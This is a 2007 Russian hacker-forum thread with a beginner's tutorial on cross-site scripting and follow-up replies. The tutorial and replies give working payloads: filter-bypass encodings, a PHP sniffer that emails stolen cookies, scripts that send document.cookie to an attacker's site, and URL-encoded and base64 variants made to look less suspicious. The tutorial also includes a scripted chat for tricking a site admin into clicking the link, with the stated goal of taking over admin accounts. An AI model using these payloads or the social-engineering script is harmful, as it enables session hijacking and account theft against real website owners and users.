ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Cross Site Scripting для новичков
  #1  
Старый 09.07.2007, 21:26
Аватар для _Pantera_
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
Post Cross Site Scripting для новичков

Cross Site Scripting для новичков

Целью являеться объединение всех начальных тем про XSS. Статью писал от себя, накопленными мной знаниями, некоторые моменты были взяты с разных источников.

Кто выше МОА или знаком с XSS идем сюда


Начнем с самого начала

Для обнаружения XSS необходимо во все поля вписать следующий скрипт
PHP код:
<script>alert()</script
Если она не сработала, это еще не значит что ее там нет. Смотрим сорс странички и видим примерно следующие:
PHP код:
<a href="index.php?id=1<script>alert()</script>">2</a
Из примера видно что файлу index.php с параметром id передаеться 1<script>alert()</script>. Это как раз то что нам надо. Для того что б скрипт сработал необходимо закрыть тег. Это можно сделать передав парамету id значение "><script>alert()</script>
После закрытия код выглядит вот так:
PHP код:
<a href="index.php?id=1"><script>alert()</script>">2</a> 
и мы видим алерт, который сообщает нам что уязвимость присутствует. Иногда бывает так, что стандартный способ не проходит, тогда пробуем подставить
PHP код:
<IMG SRC="javascript:alert(); 
Но и это не всегда проходит, так как веб-мастера тоже не лохи, они фильтруют или вырезают спецальные символы. Для обхода можно использовать способ, который описал Algol. Кодировать будем кодировкой UTF-7.

В ней используються символы: +,-,!,буквы латинского алфавита и цыфры, а они обычно не фильтруються
Но к сажелению этот способ работает только под IE, и у вас должен стоять автовыбор кодировки.
Пример работы можете посмотреть здесь
PHP код:
+ADw-script+AD4-alert();+ADw-/script+AD4
< кодируется как +ADw-
> кодируется как +AD4-
Более подробно можно почитать здесь
Ну что ж, а что с этим делать спросите вы? - а вот что:
Цитата:
1. Зайдите на сайт где есть пасивная XSS
2. Зарегестрируйтесь на нем
3. Зайдите под своим акком
4. Впешите вот этот скрипт
PHP код:
<script>alert(document.cookie)</script
в поле где была обнаружена XSS
Теперь выскочил не просто алерт, в нем записаны ваши куки. Но цель то наша не посмотреть наши куки,
а угнать чужие.

Делаеться это так:
Цитата:
1. Регестрируемся на бесплатном хостинге с поддержкой PHP
2. Создаем свой снифер
Я написал простенький снифер, думаю многм начинающим он очень пригодиться.
Для начала создадим главный файл для кода снифера и назовем его к примеру s.php
В него впишем вот этот код
PHP код:
<?php
$ip 
UrlDecode(getenv('REMOTE_ADDR'));
$referer UrlDecode(getenv('HTTP_REFERER'));
$query UrlDecode(getenv('QUERY_STRING'));
mail("vasemilo@mail.ru""Cookie""IP: $ip\n Adress: $referer\n Query: $query");
?>
Далее берем любую маленькую гиф картинку и называем ее image.gif
И самое последнее создем файл .htaccess и вписуем в него
PHP код:
RewriteEngine On
RewriteRule image
.gif s.php 
Теперь при обращеннии к картинке будет выполняться наш php файл.
3. Наиболее ответственный момент, необходимо подсунуть нашей жертве скрипт, который крадет куки. Вот он:
PHP код:
<script>img = new Image(); img.src "http://vash-site.ru/image.gif?"+document.cookie;</script
Когда жертва пройдет по ссылке, его куки будут отправленны вам на почу. Это все конечно хорошо, но
ссылка со скриптом в таком виде будет выглядить очень подозрительной, для этого необходимо ее закодировать в url кодировку.
Теперь скрипт будет выгледить вот так:
PHP код:
%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%69%6D%61%67%65%2E%67%69%66%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E 
Но можно еще сделать по другому, а именно создать на своем сайте файлик 1.js в него вписать
PHP код:
img=new Image(); img.src="http://vash-site.ru/image.gif?"+document.cookie
и давать уже ссылку на наш скрипт
PHP код:
http://www.site.ru/index.php?id=<script src=http://vash-site.ru/1.js></script> 
или закодированный вариант
PHP код:
http://www.site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E 
как видите, такая ссылка менее подозрительно и впарить ее админу намного легче, вот пример:
Цитата:
Я: привет
админ: привет
Я: что это за бред у тебя с сайтом
PHP код:
http://site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E 
Очень короткий разговор, но очень надежный. Люди по своей натуре очень любопытны, а тем более когда дело косаеться ихней собственности.
Вот таким вот довольно простым способом мы угнали куки админа. Теперь остается их заменить, и вы админ =)

С активными XSS дело намного проще.
Цитата:
1. находим поле в гостевой (к примеру) которое не фильтрует спец-символы
2. вписуем туда наш скрипт
3. добавляем сообщение и видим, что скрипт срабатывает каждый раз, при заходе на страничку, т.е нам не надо давать страшные длинные ссылки с закодированным скриптом, достаточно просто дать ссылку адмну, (что б долго не ждать)
на его гостевую и куки у нас в руках =) (правда там куки не всегда есть)
На форумах все предстоит по другому. Разрешены только BB-теги. Достаточно неплохо о них написал Micr0b. Читать тут

XSS нападения через протокол DATA

Наверняка многие из вас не слышали о данном методе атак.
Что б было понятно я расскажу о нем на примере.
Цитата:
1. Зайдите на forum.antichat.ru и авторизируйтесь
2. Удалите из строки браузера url
3. Впешите
PHP код:
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ
4. И нажминте Enter
Как видите, в алерте отобразились наши куки =)
Смысл в том, что мы кодируем наш скрипт кодировкой base64, в данном случае <script>alert(document.cookie)</script>
и выполняем его. Прелесть этого вида атаки в том, что XSS есть даже когда на сайте стоят фильтры.
проверялась под Firefox/2.0.0.4

XSS нападение через Flash-анимации

Заключаеться в следующем.
1. Находим сайт, где разрешено публичное добовление Flesh мультика
2. Откроем Macromedia Flash
3. Жмем правой кнопкой мыши по первому кадру и выбираем в появившемся меню Actions
4. Вписываем
PHP код:
getURL("javascript:alert()"
и сохраняем
Впринцыпе у нас получиться активная XSS необходимо просто для пользы alert() заменить на код снифера =)



PS 1.1 надеюсь статья поможет новичкам, старался расписать все доступным языком. пользовался матерьялами forum.antichat.ru, www.inattack.ru.
1.2 Прежде чем написать что это боян и копи-паст читаем пункт 1.1

Последний раз редактировалось _Pantera_; 10.07.2007 в 20:04..
 
Ответить с цитированием

  #2  
Старый 09.07.2007, 23:06
Аватар для freddi
freddi
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
Провел на форуме:
2943499

Репутация: 807
По умолчанию

допиши еще про заливку всяких файлов (картинки, txt, pdf) со скриптом.
 
Ответить с цитированием

  #3  
Старый 09.07.2007, 23:33
Аватар для _Pantera_
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от freddi  
допиши еще про заливку всяких файлов (картинки, txt, pdf) со скриптом.
Хорошим примером послужит бывшая XSS на mail.ru. Работала она под IE.
Брался простой txt файл и в него прописывался
PHP код:
<script>alert()</script
сохранялся и переименовывался в *.jpg
Далее хакер отправлял письмо, только не с алертом, а с снифером и получал куки жертвы.
 
Ответить с цитированием

  #4  
Старый 10.07.2007, 17:02
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Почитал бы про подробную реализацию во Феше с помошь action script.
 
Ответить с цитированием

  #5  
Старый 10.07.2007, 18:27
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

invlose верно говорит : использовать XSS нападения через протокол DATA таким образом, как это описано в статье не выйдет => автор сам не разобрался в том о чем пишет => зачем тогда писать ??
все описано в статье очень и очень поверхностно, и почему-то весьма напоминает вот это: http://www.cyberinfo.ru/index.php?newsid=1078
=/
 
Ответить с цитированием

  #6  
Старый 10.07.2007, 18:47
Аватар для _Pantera_
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

Ребята, та мне наплевать что вам не понравилось. Я рад что моя статья помогла новичкам. А насчет нападения через протокол DATA попробуйте убрать пробелы.

ps Я никогда не пишу того, что не понимаю.
 
Ответить с цитированием

  #7  
Старый 10.07.2007, 18:57
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

>> А насчет нападения через протокол DATA попробуйте убрать пробелы.

хмм.. в каком браузере и какой его версии ты увидел свои куки через self-contained xss?
 
Ответить с цитированием

  #8  
Старый 10.07.2007, 19:05
Аватар для _Pantera_
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от Digimortal  
>> А насчет нападения через протокол DATA попробуйте убрать пробелы.

хмм.. в каком браузере и какой его версии ты увидел свои куки через self-contained xss?
Юзаю только FireFox
 
Ответить с цитированием

  #9  
Старый 10.07.2007, 19:14
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

>> Юзаю только FireFox

версия?
 
Ответить с цитированием

  #10  
Старый 10.07.2007, 19:24
Аватар для _Pantera_
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от invlose  
2.если на странице будет ссылка
с href='---закодировано--base64---' (то что ты привел как пример) то при нажатии на нее СТО процентов не вылезят куки сайта на котором была эта ссылка
Куки приходят, я проверял. Делаеться следующим образом
1 кодируеться в base64
PHP код:
<script>img = new Image(); img.src "http://site.ru/image.gif?"+document.cookie;</script
получаеться
PHP код:
PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ
2 Вписуеться в окно браузера
PHP код:
data:text/html;base64,PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ
3 нажимаеться ENTER и куки приходят, в моем случае на мыло

Firefox/2.0.0.4 думаю на других работать тоже должно
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Gene6 ftp FAQ по настройке. prox1kk Soft - Windows 1 17.03.2007 00:36
Редактирование содежимого прошивок для Самсунгов Digimortal Схемы и программы 3 28.02.2007 14:22
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ